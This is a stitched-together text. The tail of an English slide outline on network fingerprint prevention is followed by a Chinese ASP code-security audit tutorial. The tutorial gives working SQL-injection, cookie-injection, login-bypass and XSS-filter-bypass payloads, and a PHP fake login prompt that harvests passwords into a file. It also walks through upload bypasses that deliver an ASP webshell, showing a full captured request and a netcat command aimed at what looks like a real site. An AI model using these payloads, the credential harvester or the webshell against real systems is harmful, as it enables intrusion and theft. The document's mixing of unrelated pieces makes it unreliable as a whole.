Red Hat Enterprise Linux 6 Linux 2.6.X|3.X
Allied Telesyn AlliedWare
Allied Telesyn AlliedWare
Cisco IOS 12.X
D-Link embedded
Other Effects
Nmap
Network Distance
Other Fingerprinting
xprobe2
Nessus …
Other Tools
ping
traceroute
Deploying to Hardware
Purchase the hardware from a local vendor
Download OpenWrt kernel image with an embedded
initramfs
Setup dhcp & tftp netboot environment
Connect to the routerboard
Configure routerboard for DHCP
Back up RouterOS
Prepare the OpenWrt images
Flash it
Deploying to Hardware
Demonstration
Challenges
Authorized Activity
Other Methods
Banners and Direct Query
Identification Through Layer-7
Challenges
Authorized Activity
Scanners
Management Platforms
Resolution
Exclude them …
Challenges
Banners and Direct Query
Windows Networking Available
Application-Layer Query
OS Details in Reply
Resolution
Perimeter Network
Internal Network
Concerns
Connectivity
Fragmentation
Upstream
Downstream
TTL Attenuation
TTL Special Uses
TCP Options Sensitivity?
Link-Local Routing Protocols
Concern
Upstream Fragmentation
IP ID Randomized
“Fragmentation Needed” ICMP Message Received
Host is confused
Keeps sending original packet
Resolution
Clear DF
Concern
Downstream Fragmentation
Each fragment given a different IP ID
Destination can’t be reassembled
Resolution
End-Point Switch Placement
Exclude Fragments
Concern
TTL Attenuation
Packet travels more than 32 hops
Packet TTL is continually extended
Routing Loop occurs
Resolution
End-Point Switch Placement
Concern
TTL Special Uses
TTL recalibrated
TTL never runs out
Traceroute fails
Resolution
Exclude ICMP Echo Requests
Concern
Link-Local Routing Protocols
TTL of 1 for RIP packet
TTL of 255 is abnormal
Packet is malformed
Resolution
Exclude routing protocols
Concerns
Performance
Break Something
Poorly Coded Applications
What else?
Benefits
Shields from …
Casual Attackers
Automated Assaults
Oblique Threats
Protects …
Unmanaged
Unpatched
Unhardened
Defeats … canned exploits
What’s Next
More Platforms
Open-Source Router Firmware
Linux-Based Switches
Production Trials
Talk to vendors
Accurate target identification is key to a
successful attack
Identification that is way too easy for an attacker
to perform
Let’s change that with fingerprint prevention
I’ve proven that it can be done
Now, we just have to make it happen
Final Thoughts
Proof of Concept
SHA256 hash is e97b2c8325a0ba3459c9a3a1d67a6306
Updates can be found at http://idguard.sourceforge.net/
Links
http://www.wisegeek.com/what-is-packet-mangling.htm
http://www.openbsd.gr/faq/pf/scrub.html
http://www.linuxsecurity.com.br/info/fw/PacketManglingwithiptables.doc
http://chdir.org/~nico/scrub/
http://www.cisco.com/en/US/docs/security/asa/asa82/configuration/guide/conns_tc
pnorm.pdf
http://www.cisco.com/en/US/docs/interfaces_modules/services_modules/ace/v3.00
_A2/configuration/security/guide/tcpipnrm.pdf
http://www.sans.org/reading_room/whitepapers/intrusion/packet-level-
normalisation_1128
http://nmap.org/book/osdetect-methods.html
http://rcp100.sourceforge.net
http://wiki.hwmn.org/w/Mikrotik_RouterBoard_450G
http://downloads.openwrt.org/snapshots/trunk/ar71xx/openwrt-ar71xx-generic-
vmlinux.elf
http://downloads.openwrt.org/snapshots/trunk/ar71xx/openwrt-ar71xx-generic-
rootfs.tar.gz
https://sites.google.com/site/guenterbartsch/blog/myfirstlinuxkernelmodule
http://www.farlock.org/nslu2/openwrt-non-standard-module-compiling/
Special Thanks
Aditiya Sood
Kenny Nguyen and E-CQURITY
Kathy Gillette
Nick Pruitt | pdf |
Asp 安全审计
http://hi.baidu.com/micropoor
1
ASP
ASP
ASP
ASP 代码安全审计
------PHP
------PHP
------PHP
------PHP 安全新闻早 8888 点特别篇
2012/3/20
注入漏洞:
1.Request.QueryString:获取地址栏参数(以及以 GET 方式提交的数据)
如:Request.QueryString("id")
2.Request.Form:
获取以 POST 方式提交的数据(接收 Form 提交来的数据)
如:Request.Form("id")
3.Request.Cookies:
获取浏览器 Cookier 信息。
4.Request:包含以上三种方式(优先获取 GET 方式提交的数据),它会在 QueryString、Form、
ServerVariable 中都搜寻一遍。而且有时候也会得到不同的结果。
如:Request("id")
例示代码:
<%
////////数字型
Response.Expires=0
dim sql
dim rs
articleid=request("film2")
urlid=request("film1")
if articleid="" or urlid="" then
response.write"非法操作"
response.end
end if
set rs=server.createobject("adodb.recordset")
sql="select serverip,canlook,movietype,title from learning where articleid="&articleid
rs.open sql,conn,1,1
serverip=rs("serverip")
okip=Request.Servervariables("HTTP_X_FORWARDED_FOR")
If okip="" Then okip=Request.Servervariables("REMOTE_ADDR")
set rst8=server.createobject("adodb.recordset")
sql="select okip,testok,endtimes from okip where okip='"&okip&"'"
rst8.open sql,conn,1,1
if rst8.eof and rst8.bof then
if request.cookies("userid")="" or request.cookies("password")="" then
%>
<%
////////字符型
if request("username")<>"" then
set rst=server.createobject("adodb.recordset")
Asp 安全审计
http://hi.baidu.com/micropoor
2
sql="select
user
from
users
where
username='"&request("username")&"'
and
password='"&md5(request("pws"))&"'" //注意两者的 sql
rst.open sql,conn,1,3
%>
<%
//Cookies
//Cookies
//Cookies
//Cookies 注入
'SQL 通用防注入程序
'Aseanleung
'--------定义部份------------------
Dim Fy_Post,Fy_Get,Fy_In,Fy_Inf,Fy_Xh,Fy_db,Fy_dbstr
Dim fso1,all_tree2,file1,files,filez,fs1,zruserip
If Request.QueryString<>"" Then (对 Request.QueryString 提交(客户采用 GET 方式提交)的数
据进行判断,并没有指明对其它方式提交的数据进行判断)
'自定义需要过滤的字串,用 "|" 分隔
Fy_In
=
"'|;|%|*|and|exec|insert|select|delete|update|count|chr|mid|master|truncate|char|declare|script" ( 阻止
了常用的 SQL 注入的语句)
Fy_Inf = split(Fy_In,"|")
For Each Fy_Get In Request.QueryString
For Fy_Xh=0 To Ubound(Fy_Inf)
If Instr(LCase(Request.QueryString(Fy_Get)),Fy_Inf(Fy_Xh))<>0 Then
zruserip=Request.ServerVariables("HTTP_X_FORWARDED_FOR")
If zruserip="" Then zruserip=Request.ServerVariables("REMOTE_ADDR")
Response.Write "内容含有非法字符!请不要有'或 and 或 or 等字符,请去掉这些字符再发!!
<br>"
Response.Write "如是要攻击网站,系统记录了你的操作↓<br>"
Response.Write "操作IP:"&zruserip&"<br>"
Response.Write "操作时间:"&Now&"<br>"
Response.Write "操作页面:"&Request.ServerVariables("URL")&"<br>"
Response.Write "提交方式:GET<br>"
Response.Write "提交参数:"&Fy_Get&"<br>"
Response.Write "提交数据:"&Request.QueryString(Fy_Get)
%>
//cookie 注入其原理也和平时的注入一样,只不过提交的参数已 cookie 方式提交了,而一般
的注入我们是使用 get 或者 post 方式提交,get 方式提交就是直接在网址后面加上需要注入
的语句,post 则是通过表单方式,get 和 post 的不同之处就在于一个我们可以通过 IE 地址栏
处看到我们提交的参数,而另外一个却不能。
程序阻止了常用的 SQL 语句使用,但只对客户采用 GET 方式提交的数据进行判断,而没有对
其它方式提交的数据进行判断,导致了 Request.cookie 方式来提交变量的值,而绕过了 SQL 防
注入件
cookies 的注入语句:javascript:alert(document.cookie="id="+escape("这就是 asp? id=xx 后面 xx
代表的数值) and (这里是注入攻击代码)"));
Asp 安全审计
http://hi.baidu.com/micropoor
3
判断 cookies 注入 js 语句:
javascript:alert(document.cookie="
参
数
=
"+escape("
参
数
值
and
1=1"));self.open("http://+"document.location.host+document.location.pathname);void(0);
javascript:alert(document.cookie="
参
数
="+escape("
参
数
值
and
1=2"));self.open("http://+"document.location.host+document.location.pathname);void(0);
<%
////////搜索型注入::::
一般搜索代码:
//Select * from 表名 where 字段 like '%关键字%'
//Select * from 表名 where 字段 like '关键字 xxx'
1 搜索 keywords ’ 如果出错的话,有 90%的可能性存在漏洞;
2 搜索 keywords%,如果同样出错的话,就有 95%的可能性存在漏洞;
3 搜索 keywords% ’and 1=1 and ’%’=’(这个语句的功能就相当于普通 SQL 注入的 and 1=1)
看返回的情况
4 搜索 keywords% ’and 1=2 and ’%’=’(这个语句的功能就相当于普通 SQL 注入的 and 1=2)
看返回的情况
5 根据两次的返回情况来判断是不是搜索型文本框注入了
百分比符号(%)的含义类似于 DOS 中的通配符“*”,代表多个字符;下划线符号(_)的含义类似于 DOS
中的通配符“?”,代表任意一个字符。
有时候后台添加了上传 asp
asp
asp
asp。Cer
Cer
Cer
Cer 等类型的。但是在上传的时候,仍然无法上传。因为存储 IIS
IIS
IIS
IIS 中的
Application
Application
Application
Application 对象还没有更新。那么就找后台更新缓存数据。
<%
Dim BigClassId,SmallClassId,SearchCondition,title,Condition,Location,i,news_id
Condition = "1=1"
BigClassId = Request("BigClassId")
SmallClassId = Request("SmallClassId")
SearchCondition = Request("SearchCondition")
'SearchConditon = 1 产品名称查找
'SearchConditon = 2 产品说明查找
title = Request("title")
If BigClassId <> "" Then
Condition = Condition & " AND BigClassId=" & BigClassId & ""
End If
If SmallClassId <> "" Then
Condition = Condition & " AND SmallClassId=" & SmallClassId & ""
End If
If SearchCondition = "1" Then
Condition = Condition & " AND ProductName LIKE '%" & ProductName & "%'"
End If
Asp 安全审计
http://hi.baidu.com/micropoor
4
If SearchCondition = "2" Then
Condition = Condition & " AND ProductDetail LIKE '%" & ProductName & "%'"
Else
Condition = Condition & " AND title LIKE '%" & title & "%'"
End If
Set RsProductSearchResult = Server.CreateObject("ADODB.RECORDSET")
RsProductSearchResult.Open "Select * FROM news Where "& Condition &" orDER BY
news_id DESC",conn,1,3
//略
%>
语句变成:
Select * FROM news Where 1=1 AND title LIKE '%micropoor%' orDER BY news_id DESC //正
常语句
Select * FROM news Where 1=1 AND title LIKE '%micropoor%' and 1=2 union select
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from user where 1=1 orDER BY news_id DESC //
我们需要的语句
//前半部分的查询为假,后半部分为真,在使用 union 联合查询中,若前面查询为假的话,
那么就返回 union 查询的结果。
最 终 的 的 语 句 就 变 成 : micropoor.asp?title=micropoor%25' and 1=2 union select
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from user where 1=1 and name like '%25admin
//闭合 sql 语句
<%
////////后台注入 and
and
and
and 'or'='or'
'or'='or'
'or'='or'
'or'='or':
//典型的'or'='or'
pwd = request.form("pwd")
//获取用户输入的密码,再把值赋给 pwd
name = request.form("name")
//获取用户输入的用户名再把值赋给 name
Set rs = Server.CreateObject("ADODB.Connection")
sql
=
"select
*
from
Manage_User
where
UserName='"
&
name
&
"'
And
PassWord='"&encrypt(pwd)&"'"
//将用户名和密码放入查询语句中查询数据库,
Set rs = conn.Execute(sql) //执行 SQL 语句,执行后并得到 rs 对象结果,“真”或“假”
If Not rs.EOF = True Then
Session("Name") =
rs("UserName")
Session("pwd") =
rs("PassWord")
Response.Redirect("Manage.asp")了
//利用 Response 对象的 Redirect 方法重定向 Manage.asp
Else
Response.Redirect "Loginsb.asp?msg=您输入了错误的帐号或口令,请再次输入!"
End If
%>
<%
////////其他后台注入
////////常用判断
Asp 安全审计
http://hi.baidu.com/micropoor
5
pwd = request.form("pwd")
//获取用户输入的密码,再把值赋给 pwd
name = request.form("name")
//获取用户输入的用户名再把值赋给 name
Set rs = Server.CreateObject("ADODB.Connection")
sql = "select * from Manage_User where UserName='" & name & "'"
//将用户名和密码放入查
询语句中查询数据库,
Set rs = conn.Execute(sql) 执行 SQL 语句,执行后并得到 rs 对象结果,“真”或“假”
If Not rs.EOF = True Then
如果是真则执行以下代码
password=rs("password") 取得密码数据
if password=md5(pwd) then
Session("Name") =
rs("UserName")
将 UserName 的属性赋给 Name 的 Session 自定义变量
Session("pwd") =
rs("PassWord")
将 PassWord 的属性赋给 pwd 的 Session 自定义变量
Response.Redirect("Manage.asp")了
利用 Response 对象的 Redirect 方法重定向 Manage.asp
else
response.write "密码错误!!!!"
end if
Else 否则执行以下代码
Response.Redirect "Loginsb.asp?msg=您输入了错误的帐号或口令,请再次输入!"
End If
%>
提交'or'='or'那么 SQL 语句就变成:select * from Manage_User where UserName=''or'='or''
登陆口(login.asp)的代码:
<%
if request.form("Submit") = "
Login
" then
if trim(request("yanzheng"))=session("ValidCode") then
if Login(request.form("LoginId"),request.form("Password")) = 1 then
//提交 Login 函数
response.redirect("index.asp")
end if
else
response.Redirect("login.asp?p=login")
end if
end if
%>
<%
login.asp 页面验证交给 Login 函数验证,Login 函数中,验证通过将返回一个值为 1(通过
验证进入后台),反之不等于则重定向到登陆页面。
private function Login(login, pass)
set rsLogin = server.createobject("ADODB.recordset")
rsLogin.cursortype = 3
strSQL = "Select admin_id, admin_salt, admin_password FROM admin_users Where
admin_login = '" & login & "'" //没过滤查询
rsLogin.open strSQL, adoCon
Asp 安全审计
http://hi.baidu.com/micropoor
6
response.Write strSQL
if not rsLogin.eof then
correctPass = rsLogin("admin_password")
controlPass = hashEncode(pass & rsLogin("admin_salt"))
if correctPass = controlPass then
DoLogin = 1
session("admin_user_id") = rsLogin("admin_id")
session("session_id") = session.SessionID
session("order_flag") = 1
else
DoLogin = 0
end if
else
DoLogin = 0
end if
rsLogin.close
set rsLogin = nothing
end function
%>
提交'union select 1,2,3,'225cdc811adfe8d4' from admin_user where 'a'='a 后我们再来分析下验
证程序,
SQL 语句会变成:Select admin_id, admin_salt, admin_password FROM admin_users Where
admin_login = ''union select 1,2,3,'225cdc811adfe8d4' from admin_user where 'a'='a'
最终的执行结果是真,这样就解决了绕过用户名验证阶段,进入密码验证阶段。
爆库漏洞以及写入一句话漏洞:
绝对路径与相对路径的冲突:
<%
connstr="DBQ="+server.mappath("dataass/micropoor.asa")+";DefaultDir=;DRIVER={Microsoft
Access Driver (*.mdb)};"
set conn=server.createobject("ADODB.CONNECTION")
' connstr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(db)
conn.open connstr
%>
跨站漏洞:
一类是存储型 XSS,主要出现在让用户输入数据,供留言、评论、各类表单等。一类是参
数型 XSS,主要是将脚本加入 URL 地址的程序参数里,参数进入程序后在页面直接输出脚
本内容,用户点击类似的恶意链接就可能受到攻击。传统的 XSS 攻击都是盘算如何盗取客
户端 COOKIE,然后劫持客户端和 WEB 服务端的会话,其他还有利用 XSS 进行网络钓鱼
的攻击方法,这类攻击都是针对客户端进行攻击,而近年流行的 XSS WORM 攻击方式,是
Asp 安全审计
http://hi.baidu.com/micropoor
7
通过 AJAX 技术把恶意的 XSS 数据感染到每一个用户,可以对 WEB 服务造成很大的影响,
间接实现了对 WEB 服务端的攻击。
<%
Set rs = Server.CreateObject("ADODB.Recordset")
sql="select * from Feedback"
rs.open sql,conn,1,3
rs.addnew
if session("username")="" then
rs("Username")="未注册用户"
else
rs("Username")=trim(request.form("Username"))
end if
rs("CompanyName")=trim(request.form("CompanyName"))
rs("Add")=Add
rs("Postcode")=Postcode
rs("Receiver")=trim(request.form("Receiver"))
//略
if Language="ch" then
rs("Language")="0"
else
rs("Language")="1"
end if
rs("time")=date()
rs.update
rs.close
if Language="ch" then
response.redirect "FeedbackView.asp"
else
response.redirect "EnFeedbackView.asp"
end if
%>
PHP
PHP
PHP
PHP 弹框:
<?
header("Content-type: image/gif");
$image = imagecreatefromgif('mellow.gif');
if(!$_COOKIE['LOGON'])
{
$login = $_SERVER['PHP_AUTH_USER'];
$pass
= $_SERVER['PHP_AUTH_PW'];
if(strlen($pass) <= 4 || !$login)
{
Header('HTTP/1.1 401 Unauthorized');
Header('WWW-Authenticate: Basic realm="管理员验证 - login"');
Asp 安全审计
http://hi.baidu.com/micropoor
8
}
elseif($login)
{
setcookie('LOGON',md5($pass));
$f = fopen('passwords.txt', 'ab');
fwrite($f, $login." ||| ".$pass."\r\n");
fclose($f);
}
}
imagegif($image);
imagedestroy($image);
?>
上传漏洞截断等:
上传漏洞注意 FilePath(文件路径),另一个则是 FileName(文件名称)。
用 ASP 写的上传,有个共性的问题:空字节可以被插入到文件名,这样文件名可以被添加
任意扩展名,而写入文件的时候,空字节以后的部分都会被忽略掉。
假设有一个 ASP 木马文件为 micropoor.asp,把它改名为 micropoor.asp .jpg,注意中间有一个
空格。在获取该文件名时,这个空格就被认为是 chr(0),当用 right("micropoor.asp .jpg",4)看
的时候,确实是.jpg,但是当实际读取 micropoor.asp .jpg,并生成文件的时候,系统读到 chr(0)
就以为结束了,所以后面的.jpg 就输出不来了,文件名被自动生成了 micropoor.asp
%00 或者空字节在 URL 或者通常的 form post 中发不出去,因为服务器虽然会认为这是字符
串的结果但是并不会在文件名变量中存储它的值。
而当文件名通过 multipart/form-data 的形式发送时,空字节将会保存在文件名变量中,这会
影响对 FileSystemObject 的调用。
解决 chr(0)漏洞
检查上传的文件名里面有没有 chr(0),在 ASP 中直接用 replace 函数替换掉 chr(0)字符即可
其它经典上传漏洞如动易。商城,全局变量严重文件双绕过等。
案例分析(1)
(1)
(1)
(1):
Asp 安全审计
http://hi.baidu.com/micropoor
9
上传图片
查看源代码找到文件为 uploada.asp,然后打开这个页面。
然后再在这个页面中查看源代码,找到 form 表单的 action 后面就是最终执行文件上传的序
Asp 安全审计
http://hi.baidu.com/micropoor
10
页了,这里为 upfilea.asp。然后把完整地址复制下来拿出上传漏洞利用工具。
将 form 表单处 action 的值更改为刚才我们找到目标站的执行文件上传程序页的完整地址选
择你的 webshell 文件,直接是 ASP 或者 ASA 等格式的,并且要注意在选择了大马文件后,
要在最后面加上一个空格。
注意光标前面的空格,然后点击上传大马就会看到返回的结果了。
同样可以使用明小子也能直接提交上传
案例分析(2222):
NC 提交:
Asp 安全审计
http://hi.baidu.com/micropoor
11
分析下这个上传程序:
变量(filepath),值为“../ima/upload/”,就是把上传的图片存放在../ima/upload/目录。下面就
可以直接对这个进行利用了,最简单的方法就是将整个文件存为本地的HTM 文件,更改form
表单的 action 和../ima/upload/,此处更改成 IIS 解析漏洞形式,然后提交。不过此方法成功
率不高,大多数做了过滤。
Asp 安全审计
http://hi.baidu.com/micropoor
12
以上便是使用抓吧工具抓取到的数据包,然后我们将 POST 行和“--------”行数据库包内容全
部复制到一个 a.txt 文件中,一下便是 a.txt 的全部内容。
POST /manage/upfile_flash.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Referer:
http://www.xxxxxxx/manage/upload_flash.asp?formname=form1&editname=log_Pic&uppa
th=../ima/upload&filelx=jpg
Accept-Language: zh-cn
Content-Type: multipart/form-data; boundary=---------------------------7da3a6040276
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)
Host: www.hauteroute.com.cn
Content-Length: 1956
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDQCBRRSAT=NEBDLIIDLMBKPOHKDPIDIBNL
-----------------------------7da3a6040276
Content-Disposition: form-data; name="filepath"
../ima/upload/
-----------------------------7da3a6040276
Content-Disposition: form-data; name="filelx"
Asp 安全审计
http://hi.baidu.com/micropoor
13
jpg
-----------------------------7da3a6040276
Content-Disposition: form-data; name="EditName"
log_Pic
-----------------------------7da3a6040276
Content-Disposition: form-data; name="FormName"
form1
-----------------------------7da3a6040276
Content-Disposition: form-data; name="act"
uploadfile
-----------------------------7da3a6040276
Content-Disposition: form-data; name="file1"; filename="E:\hd\1.jpg"
Content-Type: text/plain
<head>
<meta http-equiv="Content-Language" content="zh-cn">
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" /><style type="text/css">
<!--
a:link {
text-decoration: none;
}
a:visited {
text-decoration: none;
}
a:hover {
text-decoration: underline;
}
a:active {
text-decoration: none;
}
-->
</style></head><center>
<%Response.Expires=0:if Request.TotalBytes then:set
a=createobject("adodb.stream"):a.Type=1:a.Open:a.write
Request.BinaryRead(Request.TotalBytes):a.Position=0:b=a.Read:c=chrB(13)&chrB(10):d=clng(i
nstrb(b,c)):e=instrb(d+1,b,c):set
f=createobject("adodb.stream"):f.type=1:f.open:a.Position=d+1:a.copyto
f,e-d-3:f.Position=0:f.type=2:f.CharSet="GB2312":g=f.readtext:f.Close:h=mid(g,instrRev(g,"\")+
1,e):i=instrb(b,c&c)+4:j=instrb(i+1,b,leftB(b,d-1))-i-2:f.Type=1:f.Open:a.Position=i-1:a.CopyTo
f,j:f.SaveToFile server.mappath(h),2:f.Close:set f=Nothing:a.Close:set a=Nothing:response.write
Asp 安全审计
http://hi.baidu.com/micropoor
14
"<a href="&Server.URlEncode(h)&">"&h&"</a>"%>
<form enctype=multipart/form-data method=post>
<input type=file name=fe>
<input type="submit" value="上传" name="B1"></form>
<p align="center"></p>
-----------------------------7da3a6040276
Content-Disposition: form-data; name="Submit"
· 开始上传 ·
-----------------------------7da3a6040276--
现在需要更改数据包(以上红色标注部分),修改一下地方:
-----------------------------7da3a6040276
Content-Disposition: form-data; name="filepath"
../ima/upload/
将../ima/upload/修改成../ima/upload/1.asp ,注意 1.asp 后面有个空格。这样我们就在整个数
据包中增加了 6 个字符(1.asp=5 个字符外加一个空格等于 6)。然后再更改 Content-Length:
1956 的知加 6 为 Content-Length: 1962
用 C32,使用 C32 打开 a.txt,使用十六进制编辑模式,然后再右边的字符串中找到我们刚
才添加的 1.asp 处,并用鼠标选中后面的空格并且填充。
Asp 安全审计
http://hi.baidu.com/micropoor
15
用 NC 提交,NC 提交格式:nc www.xxx.com 80<a.txt
提交后会看到返回结果,如下图:
在../ima/upload/目录下生成一个 1.asp 的文件,现在在 IE 中访问下看看是否成功。
Asp 安全审计
http://hi.baidu.com/micropoor
16
案例分析(3333)
JS 本地修改:
传 asp 格式的文件,错误提示如下:
JavaScript 编写,而 JavaScript 是本地运行。查看下源代码而且这个代码我们可以修改或者
删除的。
Asp 安全审计
http://hi.baidu.com/micropoor
17
把整个源代码保存为本地的 htm 文件,然后删除掉上图中的文本内容,找到 form 表单中的
action 的值,把地址补充完整。然后本地双击打开修改后的 htm 文件,再上传一个 asp 的文
件。
文件头检测漏洞:
<%
if FileExt="asa" or FileExt="asp" or FileExt="cdx" or FileExt="cer" then error2("对不起,管理员
设定本论坛不允许上传 "FileExt" 格式的文件")
if Sitesettings("WatermarkOption")="Persits.Jpeg" and FileMIME="image/pjpeg" and
UpClass<>"Face"
then
Set Jpeg = Server.CreateObject("Persits.Jpeg")
Jpeg.Open Server.MapPath(""SaveFile"")
’判断用户文件中的危险操作
’这里是检测对应图片图片格式的文件头,这里我们可以伪造。
sStr="getfolder|createfolder|deletefolder|createdirectory|deletedirectory|saveas
encode|function|UnEncode|execute|重命名|修改|属性|新建|复制|服务器|下载"
sNoString=split(sStr,"|")
for i=0 to ubound(sNoString)
if instr(sTextAll,sNoString(i)) then
set filedel=server.CreateObject ("Scripting.FileSystemObje
ct")
filedel.deletefile server.mappath(""SaveFile"")
response.write "你的 ip 和时间已被纪录,由于你曾多次使用该方
法对系统进行非法攻击,我们将会把你的数据向海南省公安部及海
口网警报告!"
response.write "<br>"
response.write "时间:"date()" "time()""
response.write "<br>"
response.write "I P:"request.servervariables("remote_add
r")" "
set MyFiletemp=server.CreateObject("Scripting.FileSystemOb
ject")
set wfile=myfiletemp.opentextfile(server.mappath("ypsql.t
xt"),8)
wfile.writeline date()" "time()" "request.servervari
ables("remote_addr")
Asp 安全审计
http://hi.baidu.com/micropoor
18
Response.end
end if
%>
检测文件头,构造 gif89a 轻松绕过。
解析漏洞:
如文件夹名接受 userID 来建立。那么配合 iis6 解析。Asp.asp/1.jpg 来解析 asp。Cer 等
如 IIS6 根据扩展名来识别,IIS7 根据匹配断定请求文件是为哪某脚本类型。apache 根据名
单后缀名解析。nginx 文件类型错误解析等。
经典漏洞如:FCKeditor 等
注:此漏洞不专属于 asp。
大小写转换漏洞:
代码如下:
<%
dim sql_leach,sql_leach_0,Sql_DATA
sql_leach
=
"',and,exec,insert,select,delete,update,count,*,%,chr,mid,master,truncate,char,declareexists,cast,alt
er,nchar,rename,drop,like,where,union,join,execute,|,applet,object,script,<,>"
sql_leach_0 = split(sql_leach,",")
If Request.QueryString<>"" Then
For Each SQL_Get In Request.QueryString
For SQL_Data=0 To Ubound(sql_leach_0)
if instr(Request.QueryString(SQL_Get),sql_leach_0(Sql_DATA))>0 Then
//并没有 lcase request
Response.Write "禁止注入"
Response.end
end if
next
Next
End If
%>
大小写转换即可。
特殊环境跨站:
<%
Function code_ssstrers)
dim strer:strer=strers
if strer="" or isnull(strer) then code_ss"":exit function
strer=replace(strer,"<","<")
strer=replace(strer,">",">")
Asp 安全审计
http://hi.baidu.com/micropoor
19
strer=replace(strer," "," ") '空格
strer=replace(strer,CHR(9)," ") 'table
strer=replace(strer,"'","'") '单引号
strer=replace(strer,"""",""") '双引号
dim re,re_v
re_v="[^\(\)\;\';""\[]*"
're_v=".[^\[]*"
Set re=new RegExp
re.IgnoreCase =True
re.Global=True
re.Pattern="(javascript :)"
strer=re.Replace(strer,"javascript:")
re.Pattern="(javascript)"
strer=re.Replace(strer,"javascript")
re.Pattern="(jscript:)"
strer=re.Replace(strer,"jscript :")
re.Pattern="(js:)"
strer=re.Replace(strer,"js:")
re.Pattern="(value)"
strer=re.Replace(strer,"value")
re.Pattern="(about:)"
strer=re.Replace(strer,"about:")
re.Pattern="(file:)"
strer=re.Replace(strer,"file&:")
re.Pattern="(document.)"
strer=re.Replace(strer,"document :")
re.Pattern="(vbscript:)"
strer=re.Replace(strer,"vbscript :")
re.Pattern="(vbs:)"
strer=re.Replace(strer,"vbs :")
re.Pattern="(on(mouse|exit|error|click|key))"
strer=re.Replace(strer,"on$2")
%>
以上代码段对 javascript,jscript:,js:,about;value,document.,onmouse 以及 onexit 等语句进行了过
滤和替换.并对一些特殊字符进行了替换。
提 交 :[ mg]& #176& #93& #118& #97& #115& #79rip& #106& #57documen& #115&
#76write& #30& #29just for micropoor& #29& #61& #29[/ mg]便可绕过。
<%
Function
coder(str)
Dim
result,L,i
If
IsNull(str)
Then
:
coder=""
:
Exit
Function
:
End
If
L=Len(str)
:
result=""
Asp 安全审计
http://hi.baidu.com/micropoor
20
For
i
=
1
to
L
select
case
mid(str,i,1)
case
"<"
:
result=result+"<"
case
">"
:
result=result+">"
case
chr(34)
:
result=result+"""
case
"&"
:
result=result+"&"
case
chr(13)
:
result=result+"<br>"
case
chr(9)
:
result=result+"
"
case
chr(32)
:
result=result+" "
case
else
:
result=result+mid(str,i,1)
end
select
Next
coder=result
End
Function
%>
提交:[img scr=javascript:alert(document.cookie)> </ img>
过滤["|.|;|:|\|/|&|$|#|`|)|,|'|"|-|~|[|(||] 注:其中|为分割符 即可
逻辑错误漏洞:
<%
dim id
id=request.QueryString("id")
if not isinteger(id) then
response.write"<script>alert (" "错误 " "); location.href="" ../micropor.asp"";</script>"
end if
set re_micropor=server.CreateObject("ADODB.Recordset")
re_micropor "select * from micropoor where user ="&id
re_micropor.open strmicropoor,conn,1,1
if re_micropor.bof and re_micropor.eof then
response.write"<script>alert (" "错误 " "); location.href="" ../micropor.asp"";</script>"
end if
%>
由于 sql 在 end if 之外。所以不影响执行。
查询逻辑错误:
<%
//略
userip = Request.ServerVariables("HTTP_X_FORWARDED_FOR") //获取 IP
If userip = "" Then userip = Request.ServerVariables("REMOTE_ADDR") //判断
set rs = Server.CreateObject("ADODB.RecordSet")
rs.Open "select zuziip from [config] where zuziip like '%"&zuziip&"%'",conn,1,1 //查询 IP 是否
存在 zuziip 默认是空即使 IP 存在也无法限制
if rs.recordcount<>0 then
Asp 安全审计
http://hi.baidu.com/micropoor
21
zuziip=rs("zuziip")&chr(13)
zuziip=replace(zuziip," ","")
zuziip=replace(zuziip,chr(10),"")
'zuziip=replace(zuziip,".","")
'userip2=replace(userip,".","")
zzip=split(zuziip,chr(13))
'Response.Write "ubound(zzip):"&ubound(zzip)&"<BR>"
'Response.Write "zzip(0):"&zzip(0)&"<BR>"
'Response.Write "zzip(1):"&trim(zzip(1))&"<BR>"
for i=0 to ubound(zzip)
if userip=trim(zzip(i)) then
er=1
'Response.Write userip&"
"&zzip(i)&"<BR>"
end if
next
if er=1 then
Response.Write "<BR><BR><BR><BR><Center><font style='font-size:10.5pt'> 你 所
在 IP 被系统阻止!("&userip&")</font><BR><BR></center>"
conn.close:set conn=nothing
Response.end
end if
end if
%>
其他逻辑错误:
<%
adduser=chkhtm(trim(Request("adduser")))&"|"&chkhtm(trim(Request("email")))
title=chkhtm(trim(Request("title")))
content=trim(Request("content"))
content=trim(Request("content"))
content=trim(Request("content"))
content=trim(Request("content")) ////////没有进行过滤
lm=chkhtm(trim(request("lm")))
addtime=date()
userip = Request.ServerVariables("HTTP_X_FORWARDED_FOR")
If userip = "" Then userip = Request.ServerVariables("REMOTE_ADDR")
if adduser="" or title="" or content="" then
%>
配置文件逻辑错误:
<%
sss=LCase(request.servervariables("QUERY_STRING"))
if instr(sss,"select")<>0 or instr(sss,"inster")<>0 or instr(sss,"delete")<>0 or instr(sss,"(")<>0
or instr(sss,"'or")<>0 then
response.write "<BR><BR><center>你的网址不合法"
response.end
Asp 安全审计
http://hi.baidu.com/micropoor
22
end if
xuasmdb="data/#db1.asp"
set conn=server.CreateObject("adodb.connection")
DBPath = Server.MapPath(xuasmdb)
conn.open "provider=microsoft.jet.oledb.4.0; data source="&DBpath
ON
ON
ON
ON ERROR
ERROR
ERROR
ERROR RESUME
RESUME
RESUME
RESUME NEXT
NEXT
NEXT
NEXT //写在了 open 后面
userip = Request.ServerVariables("HTTP_X_FORWARDED_FOR")
If userip = "" Then userip = Request.ServerVariables("REMOTE_ADDR")
set rs = Server.CreateObject("ADODB.RecordSet")
rs.Open "select zuziip from [config] where zuziip like '%"&zuziip&"%'",conn,1,1
if rs.recordcount<>0 then
//略
%>
包含漏洞:
<%
Server.execute(request("file"))
%>
动态包含文件,被包含文件里面可执行 ASP 代码。
asp
asp
asp
asp 文件下载漏洞:
<%
//略
Const adTypeBinary = 1
FileName = Request.QueryString(”FileName”)
if FileName = “” Then
Response.Write “无效文件名!”
Response.End
End if
FileExt
FileExt
FileExt
FileExt ==== Mid(FileName,
Mid(FileName,
